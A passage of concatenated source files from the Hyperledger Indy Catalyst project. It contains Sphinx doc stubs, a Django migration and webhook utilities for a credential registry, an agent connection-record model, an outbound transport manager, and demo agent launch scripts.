indy\_catalyst\_agent.wallet.tests package
==========================================
Submodules
----------
indy\_catalyst\_agent.wallet.tests.test\_basic\_wallet module
-------------------------------------------------------------
.. automodule:: indy_catalyst_agent.wallet.tests.test_basic_wallet
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.wallet.tests.test\_indy\_wallet module
------------------------------------------------------------
.. automodule:: indy_catalyst_agent.wallet.tests.test_indy_wallet
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.wallet.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/credential-registry/README.md
# Hyperledger Indy Catalyst Credential Registry <!-- omit in toc -->

# Table of Contents <!-- omit in toc -->
- [Introduction](#introduction)
# Introduction
Hyperledger Indy Catalyst Credential Registry is a software component that will be derived from the [Verifiable Organizations Network](https://vonx.io) "OrgBook".
The current code can be found in [TheOrgBook](https://github.com/bcgov/TheOrgBook) repo in the Province of British Columbia's GitHub organization.<file_sep>/agent/demo/requirements.txt
colored~=1.3.93
git+https://github.com/webpy/webpy.git#egg=web.py
<file_sep>/agent/docs/indy_catalyst_agent.logging.rst
indy\_catalyst\_agent.logging package
=====================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.logging.tests
Module contents
---------------
.. automodule:: indy_catalyst_agent.logging
:members:
:undoc-members:
:show-inheritance:
<file_sep>/starter-kits/credential-registry/server/tob-api/icat_hooks/migrations/0001_initial.py
# Generated by Django 2.1.8 on 2019-04-09 17:08
from django.conf import settings
import django.contrib.postgres.fields.jsonb
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('api_v2', '0023_issuer_endpoint'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='CredentialHook',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', models.DateTimeField(auto_now_add=True)),
('updated', models.DateTimeField(auto_now=True)),
('event', models.CharField(db_index=True, max_length=64, verbose_name='Event')),
('target', models.URLField(max_length=255, verbose_name='Target URL')),
('is_active', models.BooleanField(default=True)),
('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='credentialhooks', to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='HookableCredential',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_timestamp', models.DateTimeField(auto_now_add=True, null=True)),
('update_timestamp', models.DateTimeField(auto_now=True, null=True)),
('topic_status', models.TextField()),
('corp_num', models.TextField(null=True)),
('credential_type', models.TextField(null=True)),
('credential_json', django.contrib.postgres.fields.jsonb.JSONField(blank=True, null=True)),
],
options={
'db_table': 'hookable_cred',
'ordering': ('corp_num', 'credential_type'),
},
),
migrations.CreateModel(
name='HookUser',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_timestamp', models.DateTimeField(auto_now_add=True, null=True)),
('update_timestamp', models.DateTimeField(auto_now=True, null=True)),
('DID', models.TextField(blank=True, max_length=60, unique=True)),
('verkey', models.BinaryField(blank=True)),
('display_name', models.TextField(blank=True)),
('registration_expiry', models.DateField(blank=True, null=True)),
('org_name', models.TextField(blank=True, max_length=240, null=True)),
('target_url', models.TextField(blank=True, max_length=240, null=True)),
('hook_token', models.TextField(blank=True, max_length=240, null=True)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Subscription',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_timestamp', models.DateTimeField(auto_now_add=True, null=True)),
('update_timestamp', models.DateTimeField(auto_now=True, null=True)),
('subscription_type', models.TextField(max_length=20)),
('topic_source_id', models.TextField(blank=True, null=True)),
('target_url', models.TextField(blank=True, max_length=240, null=True)),
('hook_token', models.TextField(blank=True, max_length=240, null=True)),
('credential_type', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='credential_subscription', to='api_v2.CredentialType')),
('hook', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='credential_subscription', to='icat_hooks.CredentialHook')),
('owner', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='subscriptions', to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
},
),
]
<file_sep>/agent/docs/indy_catalyst_agent.messaging.credentials.messages.tests.rst
indy\_catalyst\_agent.messaging.credentials.messages.tests package
==================================================================
Submodules
----------
indy\_catalyst\_agent.messaging.credentials.messages.tests.test\_credential module
----------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.credentials.messages.tests.test_credential
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.credentials.messages.tests.test\_credential\_offer module
-----------------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.credentials.messages.tests.test_credential_offer
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.credentials.messages.tests.test\_credential\_request module
-------------------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.credentials.messages.tests.test_credential_request
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.credentials.messages.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.messaging.connections.messages.rst
indy\_catalyst\_agent.messaging.connections.messages package
============================================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.messaging.connections.messages.tests
Submodules
----------
indy\_catalyst\_agent.messaging.connections.messages.connection\_invitation module
----------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.connections.messages.connection_invitation
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.connections.messages.connection\_request module
-------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.connections.messages.connection_request
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.connections.messages.connection\_response module
--------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.connections.messages.connection_response
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.connections.messages
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docker/Dockerfile.run
FROM bcgovimages/von-image:py36-1.9-0
ENV ENABLE_PTVSD 0
ADD requirements.txt .
ADD requirements.dev.txt .
RUN pip3 install --no-cache-dir -r requirements.txt -r requirements.dev.txt
ADD indy_catalyst_agent ./indy_catalyst_agent
ADD scripts ./scripts
ADD setup.py ./
RUN pip3 install --no-cache-dir -e .
ENTRYPOINT ["/bin/bash", "-c", "icatagent \"$@\"", "--"]
<file_sep>/agent/docs/indy_catalyst_agent.messaging.basicmessage.handlers.rst
indy\_catalyst\_agent.messaging.basicmessage.handlers package
=============================================================
Submodules
----------
indy\_catalyst\_agent.messaging.basicmessage.handlers.basicmessage\_handler module
----------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.basicmessage.handlers.basicmessage_handler
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.basicmessage.handlers
:members:
:undoc-members:
:show-inheritance:
<file_sep>/starter-kits/credential-registry/server/tob-api/icat_hooks/hook_utils.py
from .models.CredentialHook import CredentialHook
from .models.HookUser import HookUser
from .models.Subscription import Subscription
import datetime
def find_and_fire_hook(event_name, instance, **kwargs):
filters = {"event": event_name, "is_active": True}
hooks = CredentialHook.objects.filter(**filters)
for hook in hooks:
if is_registration_valid(hook):
send_hook = False
# find subscription(s) related to this hook
subscriptions = Subscription.objects.filter(hook=hook).all()
if 0 < len(subscriptions):
# check if we should fire per subscription
for subscription in subscriptions:
if (
subscription.subscription_type == "New"
and subscription.subscription_type == instance.topic_status
):
send_hook = True
elif (
subscription.subscription_type == "Stream"
and subscription.topic_source_id == instance.corp_num
and subscription.credential_type == instance.credential_type
):
send_hook = True
elif (
subscription.subscription_type == "Topic"
and subscription.topic_source_id == instance.corp_num
):
send_hook = True
else:
print(
" >>> Error invalid subscription type:",
subscription.subscription_type,
)
raise Exception("Invalid subscription type")
# logic around whether we hook or not
if send_hook:
hook.deliver_hook(instance)
def is_registration_valid(hook: CredentialHook):
is_valid = True
hook_user = HookUser.objects.get(user__id=hook.user_id)
if hook_user.registration_expiry < datetime.datetime.now().date():
is_valid = False
deactivate_hook(hook.id)
return is_valid
def deactivate_hook(hook_id: int):
cred_hook = CredentialHook.objects.get(id=hook_id)
cred_hook.is_active = False
cred_hook.save()
<file_sep>/agent/docs/indy_catalyst_agent.models.tests.rst
indy\_catalyst\_agent.models.tests package
==========================================
Submodules
----------
indy\_catalyst\_agent.models.tests.test\_thread\_decorator module
-----------------------------------------------------------------
.. automodule:: indy_catalyst_agent.models.tests.test_thread_decorator
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.models.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/indy_catalyst_agent/messaging/connections/models/connection_record.py
"""Handle connection information interface with non-secrets storage."""
import asyncio
import json
import uuid
from typing import Sequence
from marshmallow import fields
from ....admin.service import AdminService
from ....cache.base import BaseCache
from ....config.injection_context import InjectionContext
from ....storage.base import BaseStorage
from ....storage.record import StorageRecord
from ...models.base import BaseModel, BaseModelSchema
from ...util import time_now
from ..messages.connection_invitation import ConnectionInvitation
from ..messages.connection_request import ConnectionRequest
class ConnectionRecord(BaseModel):
"""Represents a single pairwise connection."""
class Meta:
"""ConnectionRecord metadata."""
schema_class = "ConnectionRecordSchema"
repr_exclude = ("_admin_timer",)
RECORD_TYPE = "connection"
RECORD_TYPE_ACTIVITY = "connection_activity"
RECORD_TYPE_INVITATION = "connection_invitation"
RECORD_TYPE_REQUEST = "connection_request"
DIRECTION_RECEIVED = "received"
DIRECTION_SENT = "sent"
INITIATOR_SELF = "self"
INITIATOR_EXTERNAL = "external"
STATE_INIT = "init"
STATE_INVITATION = "invitation"
STATE_REQUEST = "request"
STATE_RESPONSE = "response"
STATE_ACTIVE = "active"
STATE_ERROR = "error"
STATE_INACTIVE = "inactive"
ROUTING_STATE_NONE = "none"
ROUTING_STATE_REQUEST = "request"
ROUTING_STATE_ACTIVE = "active"
ROUTING_STATE_ERROR = "error"
def __init__(
self,
*,
connection_id: str = None,
my_did: str = None,
their_did: str = None,
their_label: str = None,
their_role: str = None,
initiator: str = None,
invitation_key: str = None,
request_id: str = None,
state: str = None,
inbound_connection_id: str = None,
error_msg: str = None,
routing_state: str = None,
created_at: str = None,
updated_at: str = None,
):
"""Initialize a new ConnectionRecord."""
self._id = connection_id
self.my_did = my_did
self.their_did = their_did
self.their_label = their_label
self.their_role = their_role
self.initiator = initiator
self.invitation_key = invitation_key
self.request_id = request_id
self.state = state or self.STATE_INIT
self.error_msg = error_msg
self.inbound_connection_id = inbound_connection_id
self.routing_state = routing_state or self.ROUTING_STATE_NONE
self.created_at = created_at
self.updated_at = updated_at
self._admin_timer = None
@property
def connection_id(self) -> str:
"""Accessor for the ID associated with this connection."""
return self._id
@property
def storage_record(self) -> StorageRecord:
"""Accessor for a `StorageRecord` representing this connection."""
return StorageRecord(
self.RECORD_TYPE, json.dumps(self.value), self.tags, self.connection_id
)
@property
def value(self) -> dict:
"""Accessor for the JSON record value generated for this connection."""
ret = self.tags
ret.update(
{
"error_msg": self.error_msg,
"their_label": self.their_label,
"created_at": self.created_at,
"updated_at": self.updated_at,
}
)
return ret
@property
def tags(self) -> dict:
"""Accessor for the record tags generated for this connection."""
result = {}
for prop in (
"my_did",
"their_did",
"their_role",
"inbound_connection_id",
"initiator",
"invitation_key",
"request_id",
"state",
"routing_state",
):
val = getattr(self, prop)
if val:
result[prop] = val
return result
async def save(self, context: InjectionContext) -> str:
"""Persist the connection record to storage.
Args:
context: The injection context to use
"""
self.updated_at = time_now()
storage: BaseStorage = await context.inject(BaseStorage)
if not self._id:
self._id = str(uuid.uuid4())
self.created_at = self.updated_at
await storage.add_record(self.storage_record)
else:
record = self.storage_record
await storage.update_record_value(record, record.value)
await storage.update_record_tags(record, record.tags)
cache_key = f"{self.RECORD_TYPE}::{self._id}"
cache: BaseCache = await context.inject(BaseCache, required=False)
if cache:
await cache.clear(cache_key)
await self.admin_send_update(context)
return self._id
@classmethod
async def retrieve_by_id(
cls, context: InjectionContext, connection_id: str, cached: bool = True
) -> "ConnectionRecord":
"""Retrieve a connection record by ID.
Args:
context: The injection context to use
connection_id: The ID of the connection record to find
cached: Whether to check the cache for this record
"""
cache = None
cache_key = f"{cls.RECORD_TYPE}::{connection_id}"
vals = None
if cached and connection_id:
cache: BaseCache = await context.inject(BaseCache, required=False)
if cache:
vals = await cache.get(cache_key)
if not vals:
storage: BaseStorage = await context.inject(BaseStorage)
result = await storage.get_record(cls.RECORD_TYPE, connection_id)
vals = json.loads(result.value)
if result.tags:
vals.update(result.tags)
if cache:
await cache.set(cache_key, vals, 60)
return ConnectionRecord(connection_id=connection_id, **vals)
@classmethod
async def retrieve_by_tag_filter(
cls, context: InjectionContext, tag_filter: dict
) -> "ConnectionRecord":
"""Retrieve a connection record by tag filter.
Args:
context: The injection context to use
tag_filter: The filter dictionary to apply
"""
storage: BaseStorage = await context.inject(BaseStorage)
result = await storage.search_records(
cls.RECORD_TYPE, tag_filter
).fetch_single()
vals = json.loads(result.value)
vals.update(result.tags)
return ConnectionRecord(connection_id=result.id, **vals)
@classmethod
async def retrieve_by_did(
cls,
context: InjectionContext,
their_did: str = None,
my_did: str = None,
initiator: str = None,
) -> "ConnectionRecord":
"""Retrieve a connection record by target DID.
Args:
context: The injection context to use
their_did: The target DID to filter by
my_did: One of our DIDs to filter by
initiator: Filter connections by the initiator value
"""
tag_filter = {}
if their_did:
tag_filter["their_did"] = their_did
if my_did:
tag_filter["my_did"] = my_did
if initiator:
tag_filter["initiator"] = initiator
return await cls.retrieve_by_tag_filter(context, tag_filter)
@classmethod
async def retrieve_by_invitation_key(
cls, context: InjectionContext, invitation_key: str, initiator: str = None
) -> "ConnectionRecord":
"""Retrieve a connection record by invitation key.
Args:
context: The injection context to use
invitation_key: The key on the originating invitation
initiator: Filter by the initiator value
"""
tag_filter = {"invitation_key": invitation_key, "state": cls.STATE_INVITATION}
if initiator:
tag_filter["initiator"] = initiator
return await cls.retrieve_by_tag_filter(context, tag_filter)
@classmethod
async def retrieve_by_request_id(
cls, context: InjectionContext, request_id: str
) -> "ConnectionRecord":
"""Retrieve a connection record from our previous request ID.
Args:
context: The injection context to use
request_id: The ID of the originating connection request
"""
tag_filter = {"request_id": request_id}
return await cls.retrieve_by_tag_filter(context, tag_filter)
@classmethod
async def query(
cls, context: InjectionContext, tag_filter: dict = None
) -> Sequence["ConnectionRecord"]:
"""Query existing connection records.
Args:
context: The injection context to use
tag_filter: An optional dictionary of tag filter clauses
"""
storage: BaseStorage = await context.inject(BaseStorage)
found = await storage.search_records(cls.RECORD_TYPE, tag_filter).fetch_all()
result = []
for record in found:
vals = json.loads(record.value)
vals.update(record.tags)
result.append(ConnectionRecord(connection_id=record.id, **vals))
return result
async def attach_invitation(
self, context: InjectionContext, invitation: ConnectionInvitation
):
"""Persist the related connection invitation to storage.
Args:
context: The injection context to use
invitation: The invitation to relate to this connection record
"""
assert self.connection_id
record = StorageRecord(
self.RECORD_TYPE_INVITATION,
invitation.to_json(),
{"connection_id": self.connection_id},
)
storage: BaseStorage = await context.inject(BaseStorage)
await storage.add_record(record)
async def retrieve_invitation(
self, context: InjectionContext
) -> ConnectionInvitation:
"""Retrieve the related connection invitation.
Args:
context: The injection context to use
"""
assert self.connection_id
storage: BaseStorage = await context.inject(BaseStorage)
result = await storage.search_records(
self.RECORD_TYPE_INVITATION, {"connection_id": self.connection_id}
).fetch_single()
return ConnectionInvitation.from_json(result.value)
async def attach_request(
self, context: InjectionContext, request: ConnectionRequest
):
"""Persist the related connection request to storage.
Args:
context: The injection context to use
request: The request to relate to this connection record
"""
assert self.connection_id
record = StorageRecord(
self.RECORD_TYPE_REQUEST,
request.to_json(),
{"connection_id": self.connection_id},
)
storage: BaseStorage = await context.inject(BaseStorage)
await storage.add_record(record)
async def retrieve_request(self, context: InjectionContext) -> ConnectionRequest:
"""Retrieve the related connection invitation.
Args:
context: The injection context to use
"""
assert self.connection_id
storage: BaseStorage = await context.inject(BaseStorage)
result = await storage.search_records(
self.RECORD_TYPE_REQUEST, {"connection_id": self.connection_id}
).fetch_single()
return ConnectionRequest.from_json(result.value)
async def delete_record(self, context: InjectionContext):
"""Remove the connection record.
Args:
context: The injection context to use
"""
if self.connection_id:
storage: BaseStorage = await context.inject(BaseStorage)
await storage.delete_record(self.storage_record)
await self.admin_send_update(context)
async def log_activity(
self,
context: InjectionContext,
activity_type: str,
direction: str,
meta: dict = None,
):
"""Log an event against this connection record.
Args:
context: The injection context to use
activity_type: The activity type identifier
direction: The direction of the activity (sent or received)
meta: Optional metadata for the activity
"""
assert self.connection_id
record = StorageRecord(
self.RECORD_TYPE_ACTIVITY,
json.dumps({"meta": meta, "time": time_now()}),
{
"type": activity_type,
"direction": direction,
"connection_id": self.connection_id,
},
)
storage: BaseStorage = await context.inject(BaseStorage)
await storage.add_record(record)
await self.admin_send_update(context)
async def fetch_activity(
self,
context: InjectionContext,
activity_type: str = None,
direction: str = None,
) -> Sequence[dict]:
"""Fetch all activity logs for this connection record.
Args:
context: The injection context to use
activity_type: An optional activity type filter
direction: An optional direction filter
"""
tag_filter = {"connection_id": self.connection_id}
if activity_type:
tag_filter["activity_type"] = activity_type
if direction:
tag_filter["direction"] = direction
storage: BaseStorage = await context.inject(BaseStorage)
records = await storage.search_records(
self.RECORD_TYPE_ACTIVITY, tag_filter
).fetch_all()
results = [
dict(id=record.id, **json.loads(record.value), **record.tags)
for record in records
]
results.sort(key=lambda x: x["time"], reverse=True)
return results
async def retrieve_activity(
self, context: InjectionContext, activity_id: str
) -> Sequence[dict]:
"""Retrieve a single activity record.
Args:
context: The injection context to use
activity_id: The ID of the activity entry
"""
storage: BaseStorage = await context.inject(BaseStorage)
record = await storage.get_record(self.RECORD_TYPE_ACTIVITY, activity_id)
result = dict(id=record.id, **json.loads(record.value), **record.tags)
return result
async def update_activity_meta(
self, context: InjectionContext, activity_id: str, meta: dict
) -> Sequence[dict]:
"""Update metadata for an activity entry.
Args:
context: The injection context to use
activity_id: The ID of the activity entry
meta: The metadata stored on the activity
"""
storage: BaseStorage = await context.inject(BaseStorage)
record = await storage.get_record(self.RECORD_TYPE_ACTIVITY, activity_id)
value = json.loads(record.value)
value["meta"] = meta
await storage.update_record_value(record, json.dumps(value))
await self.admin_send_update(context)
async def admin_delayed_update(self, context: InjectionContext, delay: float):
"""Wait a specified time before sending a connection update event."""
if delay:
await asyncio.sleep(delay)
record = self.serialize()
record["activity"] = await self.fetch_activity(context)
if context:
service: AdminService = await context.inject(AdminService)
if service:
await service.add_event("connection_update", {"connection": record})
async def admin_send_update(self, context: InjectionContext):
"""Send updated connection status to websocket listener.
Args:
context: The injection context to use
"""
if self._admin_timer:
self._admin_timer.cancel()
self._admin_timer = asyncio.ensure_future(
self.admin_delayed_update(context, 0.1)
)
@property
def is_active(self) -> bool:
"""Accessor to check if the connection is active."""
return self.state == self.STATE_ACTIVE
def __eq__(self, other) -> bool:
"""Comparison between records."""
if type(other) is type(self):
return self.value == other.value and self.tags == other.tags
return False
class ConnectionRecordSchema(BaseModelSchema):
"""Schema to allow serialization/deserialization of connection records."""
class Meta:
"""ConnectionRecordSchema metadata."""
model_class = ConnectionRecord
connection_id = fields.Str(required=False)
my_did = fields.Str(required=False)
their_did = fields.Str(required=False)
their_label = fields.Str(required=False)
their_role = fields.Str(required=False)
inbound_connection_id = fields.Str(required=False)
initiator = fields.Str(required=False)
invitation_key = fields.Str(required=False)
request_id = fields.Str(required=False)
state = fields.Str(required=False)
routing_state = fields.Str(required=False)
error_msg = fields.Str(required=False)
created_at = fields.Str(required=False)
updated_at = fields.Str(required=False)
<file_sep>/agent/docs/indy_catalyst_agent.wallet.rst
indy\_catalyst\_agent.wallet package
====================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.wallet.tests
Submodules
----------
indy\_catalyst\_agent.wallet.base module
----------------------------------------
.. automodule:: indy_catalyst_agent.wallet.base
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.wallet.basic module
-----------------------------------------
.. automodule:: indy_catalyst_agent.wallet.basic
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.wallet.crypto module
------------------------------------------
.. automodule:: indy_catalyst_agent.wallet.crypto
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.wallet.error module
-----------------------------------------
.. automodule:: indy_catalyst_agent.wallet.error
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.wallet.indy module
----------------------------------------
.. automodule:: indy_catalyst_agent.wallet.indy
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.wallet.util module
----------------------------------------
.. automodule:: indy_catalyst_agent.wallet.util
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.wallet
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/demo/agent.sh
PYTHONPATH=.. ../scripts/icatagent \
--inbound-transport http 0.0.0.0 8010 \
--inbound-transport http 0.0.0.0 8011 \
--inbound-transport ws 0.0.0.0 8012 \
--outbound-transport ws \
--outbound-transport http \
--wallet-type indy \
--wallet-name heythere \
--wallet-key mykey \
--wallet-storage-type postgres_storage \
--wallet-storage-config '{"url":"localhost:5432"}' \
--wallet-storage-creds '{"account":"postgres","password":"<PASSWORD>","admin_account":"postgres","admin_password":"<PASSWORD>"}' \
--admin localhost 8014
<file_sep>/starter-kits/credential-registry/server/tob-api/.coveragerc
[run]
omit = */tests/*
source = tob_api
[report]
exclude_lines =
pragma: no cover
@abstract
<file_sep>/agent/indy_catalyst_agent/transport/outbound/manager.py
"""Outbound transport manager."""
import asyncio
import logging
from typing import Type
from urllib.parse import urlparse
from ...classloader import ClassLoader, ModuleLoadError, ClassNotFoundError
from ...messaging.outbound_message import OutboundMessage
from .base import BaseOutboundTransport, OutboundTransportRegistrationError
from .queue.base import BaseOutboundMessageQueue
MODULE_BASE_PATH = "indy_catalyst_agent.transport.outbound"
class OutboundTransportManager:
"""Outbound transport manager class."""
def __init__(self, queue: Type[BaseOutboundMessageQueue]):
"""
Initialize a `OutboundTransportManager` instance.
Args:
queue: `BaseOutboundMessageQueue` implementation to use
"""
self.logger = logging.getLogger(__name__)
self.registered_transports = {}
self.running_transports = {}
self.class_loader = ClassLoader(MODULE_BASE_PATH, BaseOutboundTransport)
self.queue = queue
def register(self, module_path):
"""
Register a new outbound transport.
Args:
module_path: Module path to register
Raises:
OutboundTransportRegistrationError: If the imported class cannot
be located
OutboundTransportRegistrationError: If the imported class does not
specify a schemes attribute
OutboundTransportRegistrationError: If the scheme has already been
registered
"""
try:
imported_class = self.class_loader.load(module_path, True)
except (ModuleLoadError, ClassNotFoundError):
raise OutboundTransportRegistrationError(
f"Outbound transport module {module_path} could not be resolved."
)
try:
schemes = imported_class.schemes
except AttributeError:
raise OutboundTransportRegistrationError(
f"Imported class {imported_class} does not "
+ "specify a required 'schemes' attribute"
)
for scheme in schemes:
# A scheme can only be registered once
for scheme_tuple in self.registered_transports.keys():
if scheme in scheme_tuple:
raise OutboundTransportRegistrationError(
f"Cannot register transport '{module_path}'"
+ f"for '{scheme}' scheme because the scheme"
+ "has already been registered"
)
self.registered_transports[schemes] = imported_class
async def start(self, schemes, transport):
"""Start the transport."""
# All transports share the same queue
async with transport(self.queue()) as t:
self.running_transports[schemes] = t
await t.start()
async def start_all(self):
"""Start all transports."""
for schemes, transport_class in self.registered_transports.items():
# Don't block the loop
# asyncio.create_task(self.start(schemes, transport_class))
asyncio.ensure_future(self.start(schemes, transport_class))
async def send_message(self, message: OutboundMessage):
"""
Send a message.
Find a registered transport for the scheme in the uri and
use it to send the message.
Args:
message: The outbound message to send
"""
# Grab the scheme from the uri
scheme = urlparse(message.endpoint).scheme
if scheme == "":
self.logger.warn(f"The uri '{message.endpoint}' does not specify a scheme")
return
# Look up transport that is registered to handle this scheme
try:
transport = next(
transport
for schemes, transport in self.running_transports.items()
if scheme in schemes
)
except StopIteration:
self.logger.warn(f"No transport driver exists to handle scheme '{scheme}'")
return
await transport.queue.enqueue(message)
<file_sep>/agent/docs/indy_catalyst_agent.messaging.connections.rst
indy\_catalyst\_agent.messaging.connections package
===================================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.messaging.connections.handlers
indy_catalyst_agent.messaging.connections.messages
Submodules
----------
indy\_catalyst\_agent.messaging.connections.message\_types module
-----------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.connections.message_types
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.connections
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.logging.tests.rst
indy\_catalyst\_agent.logging.tests package
===========================================
Submodules
----------
indy\_catalyst\_agent.logging.tests.test\_init module
-----------------------------------------------------
.. automodule:: indy_catalyst_agent.logging.tests.test_init
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.logging.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.messaging.routing.messages.tests.rst
indy\_catalyst\_agent.messaging.routing.messages.tests package
==============================================================
Submodules
----------
indy\_catalyst\_agent.messaging.routing.messages.tests.test\_forward module
---------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.routing.messages.tests.test_forward
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.routing.messages.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/demo/agent.py
import asyncio
import json
import os
import random
import subprocess
from aiohttp import web, ClientSession, ClientRequest, ClientError
import colored
COLORIZE = os.environ.get("TERM") == "xterm"
def print_color(msg, color, prefix="", end=None):
if color and COLORIZE:
msg = colored.stylize(msg, colored.fg(color))
if prefix:
msg = f"{prefix:10s} | {msg}"
print(msg, end=end)
def output_reader(handle, callback, loop, *args, **kwargs):
for line in iter(handle.readline, b""):
if not line:
break
asyncio.run_coroutine_threadsafe(callback(line, *args), loop)
def flatten(args):
for arg in args:
if isinstance(arg, (list, tuple)):
yield from flatten(arg)
else:
yield arg
class DemoAgent:
def __init__(
self,
ident: str,
http_port: int,
admin_port: int,
internal_host: str,
external_host: str,
label: str = None,
timing: bool = False,
postgres: bool = False,
**params,
):
self.ident = ident
self.http_port = http_port
self.admin_port = admin_port
self.internal_host = internal_host
self.external_host = external_host
self.label = label or ident
self.timing = timing
self.postgres = postgres
self.endpoint = f"http://{internal_host}:{http_port}"
self.admin_url = f"http://{internal_host}:{admin_port}"
self.webhook_port = None
self.webhook_url = None
self.params = params
self.proc = None
self.wh_site = None
self.client_session: ClientSession = ClientSession()
rand_name = str(random.randint(100_000, 999_999))
self.seed = (
params.get("seed") or ("my_seed_000000000000000000000000" + rand_name)[-32:]
)
self.storage_type = params.get("storage_type")
self.wallet_type = params.get("wallet_type", "indy")
self.wallet_name = params.get("wallet_name") or self.ident.lower() + rand_name
self.wallet_key = params.get("wallet_key") or self.ident + rand_name
self.did = None
def get_agent_args(self):
result = [
("--endpoint", self.endpoint),
("--label", self.label),
"--auto-respond-messages",
"--accept-invites",
"--accept-requests",
"--auto-ping-connection",
"--auto-respond-credential-offer",
"--auto-respond-presentation-request",
("--inbound-transport", "http", "0.0.0.0", str(self.http_port)),
("--outbound-transport", "http"),
("--admin", "0.0.0.0", str(self.admin_port)),
("--wallet-type", self.wallet_type),
("--wallet-name", self.wallet_name),
("--wallet-key", self.wallet_key),
("--seed", self.seed),
]
if "genesis" in self.params:
result.append(("--genesis-transactions", self.params["genesis"]))
if self.storage_type:
result.append(("--storage-type", self.storage_type))
if self.timing:
result.append("--timing")
if self.postgres:
result.extend(
[
("--wallet-storage-type", "postgres_storage"),
(
"--wallet-storage-config",
json.dumps(
{
"url": f"{self.internal_host}:5432",
"tls": "None",
"max_connections": 5,
"min_idle_time": 0,
"connection_timeout": 10,
}
),
),
(
"--wallet-storage-creds",
json.dumps(
{
"account": "postgres",
"password": "<PASSWORD>",
"admin_account": "postgres",
"admin_password": "<PASSWORD>",
}
),
),
]
)
return result
async def register_did(self, ledger_url=None):
self.log(f"Registering {self.ident} with seed {self.seed}")
if not ledger_url:
ledger_url = f"http://{self.external_host}:9000"
data = {"alias": self.ident, "seed": self.seed, "role": "TRUST_ANCHOR"}
async with self.client_session.post(
ledger_url + "/register", json=data
) as resp:
if resp.status != 200:
raise Exception(f"Error registering DID, response code {resp.status}")
nym_info = await resp.json()
self.did = nym_info["did"]
self.log(f"Got DID: {self.did}")
async def handle_output(self, output, source=""):
end = "" if source else "\n"
if source == "stderr" and COLORIZE:
color = "red"
elif not source and COLORIZE:
color = "blue"
else:
color = None
print_color(output, color, self.ident, end=end)
def log(self, msg, *, loop=None):
asyncio.run_coroutine_threadsafe(
self.handle_output(msg), loop or asyncio.get_event_loop()
)
def _process(self, args, env, loop):
proc = subprocess.Popen(
args,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=env,
encoding="utf-8",
)
loop.run_in_executor(
None, output_reader, proc.stdout, self.handle_output, loop, "stdout"
)
loop.run_in_executor(
None, output_reader, proc.stderr, self.handle_output, loop, "stderr"
)
return proc
def get_process_args(self, scripts_dir: str):
return list(
flatten((["python3", scripts_dir + "icatagent"], self.get_agent_args()))
)
async def start_process(
self, python_path="..", scripts_dir="../scripts/", wait=True
):
